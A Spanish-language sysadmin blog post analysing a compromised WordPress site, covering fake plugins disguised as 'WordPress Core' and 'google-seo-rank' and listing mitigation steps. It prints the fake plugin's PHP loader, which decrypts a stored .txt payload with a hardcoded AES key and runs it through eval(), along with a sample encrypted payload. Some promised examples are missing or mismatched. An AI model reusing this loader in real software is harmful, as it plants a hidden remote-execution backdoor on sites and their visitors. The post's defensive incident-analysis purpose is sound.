Fecha: 2024-06-15 17:03:08
Autor: Alex Rubio
Como administrador de sistemas, a veces uno se encuentra en situaciones en las que es complicado saber cómo y por qué se ha sufrido una infección. Esto se debe principalmente a la presencia de sitios web que no han sido creados por nosotros y que, a menudo, incorporan "sorpresas" no muy agradables. En este caso, y como en la mayoría de los casos, se trata de un WordPress , donde la falta de instalación o actualización de los plugins ha permitido a los hackers acceder al sistema.
El hecho de que cualquiera pueda instalar plugins de WordPress es muy democrático, pero tiene sus desventajas. No todos los creadores de plugins son buenos programadores y, diariamente, se descubren plugins vulnerables. Los usuarios o clientes de la web no suelen entender que un sitio web parece estar "vivo" y que no es fácil mantenerlo libre de código mal hecho o de creadores que han dejado de dar soporte. El mundo gratuito democratiza, pero complica la seguridad, ya que no hay que confundir el voluntarismo con el profesionalismo.
Así pues, este es uno de los casos que me he encontrado. El hecho de que los hackers puedan subir archivos a la estructura de WordPress hace que nos encontremos con archivos php.ini como este:
Archivos .htaccess modificados o insertados en innumerables directorios para otorgar permisos de ejecución a programas que no deberían tenerlos, como este comando en .htaccess:
DirectoryIndex index.php index.html index.htm
El comando DirectoryIndex
en el archivo .htaccess especifica qué archivos debe buscar el servidor web cuando se accede a un directorio sin especificar un archivo concreto. En este caso, la línea:
indica al servidor que, al acceder a un directorio, debe buscar primero un archivo llamado index.php
. Si no encuentra ese archivo, buscará uno llamado index.html
. Si tampoco encuentra ese, buscará index.htm
. Este orden de búsqueda permite a los administradores del sitio web controlar qué archivo se muestra por defecto cuando se accede a un directorio.
También es fácil encontrar plugins que, aparentemente, tienen nombres rimbombantes y lógicos, usando la ingeniería social para no llamar la atención. Hoy me he encontrado con uno de esos casos. ¿Quién dudaría de un plugin llamado "WordpressCore" o de uno llamado "google-seo-rank"? ¡Ay, Dios mío! ¡Alma de cántaro! ¿Quién te iba a decir que las cosas serían así...?
Estos plugins, además de asegurarse el control de la web para siempre, engañan a los usuarios mediante una llamada externa a un JavaScript, haciendo aparecer un mensaje de que tienen un problema con el navegador. Por supuesto, cada vez están mejor diseñados. Luego, hacen que los usuarios ejecuten un comando con privilegios de administrador para infectar sus máquinas. Aquí tienes un ejemplo de uno de esos encantadores scripts:
https://cdn.ethers.io/lib/ethers-5.2.umd.min.js
Medidas de Mitigación
Para mitigar esta amenaza:
- Eliminar los Archivos Maliciosos: Inmediatamente eliminar los archivos
php.ini
,.htaccess
,include.php
, los archivos.txt
sospechosos y el plugingoogle-seo-rank
asi como el WoprdpressCore - Revisar Configuraciones de PHP: Asegurarse de deshabilitar funciones peligrosas y restringir el acceso a directorios.
- Actualizar Plugins y Temas: Mantener todos los plugins y temas actualizados.
- Monitoreo y Auditoría: Implementar soluciones para detectar cambios no autorizados.
- Escaneo de Malware: Utilizar herramientas de escaneo de malware para identificar y eliminar código malicioso.
Ejemplo de ficheros .txt con contenido malicioso:
R9ir+PJYkX98tjPI4LYFFw==
kvEf4UKzNsfWCXAgWVMZZuM1wklOwQ61oz0zp7HLWoNgyJ6xXBcfPj/VunrYkI088/T+ybU68Q0dmS0utVONQiFouBH/mjfkv6ClxqMUdJiCaN2khi5sbuHmGYeQF46QIU/UKYBzNH0gDXw10Q340SV40a6kpLvSqtEYG6jX6DalY+nI4pQ1jaSdDlV7yC7oYsVsSeZR7zapMNU8vf9VYi1/E0ph3BPDNaE0NEhWhF0DDN4eVN0lZUTox7uv+IZMZicVj+GnecYDNMUOLkRqFCgmhZZdZ4/3JYf6Yqy6xDwjzGialvwnxvxOeJuuCJ4Y4re7NZEoTVTSKY1eahbr+BOc9JB9GrAPI+oBladyxY5/C34FkyOkq1LdN0OfqjLq+LAf8onH491bXR0nQ0eBxUaIFIP8u1Y0b2WQIO2ayV6zcnCOrUF0kKLT3Vn2FB9mUqjRtg3ukY8gadTCEqNnT+5hpIILi0qhWAzMjs1FyI+HA1HR2hUf+Tm+IT818/DREH6ugnJcxwJARRQNetpYN3KO+EJcll2kbRtpIROgSb1HjdtUVIR0O12U/yjhI3IQLPQT7fcXQkDM+JzY/CfY4ljJSgRsRFmI626v9Vxz8qWWjUoqbvBDDTpl8DiCC/F/qua6tkHzVqan5dho7AH7hVdJPcn74ncQKi4SbDdY2VA/epSjdFi2zrXI8KrD0HbJsmhL76Jh"
Que despues es decodificado mediante codigo php como este:
/**
* @package Wordpress_Core
* @version 1.7.3
*/
/*
Plugin Name: WordPress Core
Plugin URI: https://wordpress .org/plugins/
Description: This is core plugin for managment WordPress.
Version: 1.7.3
Author URI: https://wordpress .org/
*/
class UnsafeCrypto
{
const METHOD = "aes-256-ctr";
public static function decrypt($message, $nonce, $key, $encoded = false)
{
if ($encoded) {
$message = base64_decode($message, true);
$nonce = base64_decode($nonce, true);
if ($message === false || $nonce === false) {
throw new Exception('Encryption failure');
}
}
$plaintext = openssl_decrypt(
$message,
self::METHOD,
$key,
OPENSSL_RAW_DATA,
$nonce
);
return $plaintext;
}
}
$key = hex2bin('af64a08c9cf0b2070726e52e2fb78f02a9615726758db69ad8d9de140806707c');
$parts = file('./vwbulbzhnj.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$decrypted = UnsafeCrypto::decrypt($parts[1], $parts[0], $key, true);
eval($decrypted);